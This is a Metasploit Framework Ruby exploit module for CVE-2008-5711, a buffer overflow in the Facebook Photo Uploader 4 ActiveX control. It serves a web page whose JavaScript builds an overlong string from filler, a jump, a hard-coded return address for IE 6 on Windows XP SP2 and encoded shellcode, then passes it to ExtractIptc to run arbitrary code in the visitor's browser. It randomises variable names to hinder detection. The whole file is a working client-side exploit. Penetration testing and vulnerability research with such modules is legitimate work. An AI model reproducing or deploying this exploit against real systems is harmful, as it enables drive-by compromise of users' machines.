103 lines
3.0 KiB
Ruby
103 lines
3.0 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Facebook Photo Uploader 4.
|
|
By sending an overly long string to the "ExtractIptc()" property located
|
|
in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute
|
|
arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'MC' ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-5711' ],
|
|
[ 'OSVDB', '41073' ],
|
|
[ 'BID', '27534' ],
|
|
[ 'EDB', '5049' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English', { 'Ret' => 0x74c9de3e } ], # 02/07/08
|
|
], # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler
|
|
'DisclosureDate' => 'Jan 31 2008',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Randomize some things
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
strname = rand_text_alpha(rand(100) + 1)
|
|
rand1 = rand_text_alpha(rand(100) + 1)
|
|
rand2 = rand_text_alpha(rand(100) + 1)
|
|
rand3 = rand_text_alpha(rand(100) + 1)
|
|
rand4 = rand_text_alpha(rand(100) + 1)
|
|
|
|
# Set the exploit buffer
|
|
filler = Rex::Text.to_unescape(rand_text_alpha(2))
|
|
jmp = Rex::Text.to_unescape([0x969606eb].pack('V'))
|
|
ret = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
sc = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
# Build out the message
|
|
content = %Q|<html>
|
|
<object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object>
|
|
<script language='javascript'>
|
|
#{rand1} = unescape('#{filler}');
|
|
while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
|
|
#{rand2} = unescape('#{jmp}');
|
|
#{rand3} = unescape('#{ret}');
|
|
#{rand4} = unescape('#{sc}');
|
|
#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};
|
|
#{vname}.ExtractIptc = #{strname};
|
|
</script>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|